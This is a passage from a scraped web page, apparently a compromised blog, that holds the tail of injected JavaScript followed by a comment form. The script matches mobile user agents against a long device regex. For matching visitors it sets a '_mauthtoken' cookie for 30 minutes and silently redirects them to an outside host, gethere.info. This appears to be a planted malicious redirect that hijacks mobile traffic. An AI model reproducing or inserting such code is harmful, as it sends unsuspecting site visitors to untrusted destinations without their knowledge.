)|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}

LEAVE A REPLY

Please enter your comment!
Please enter your name here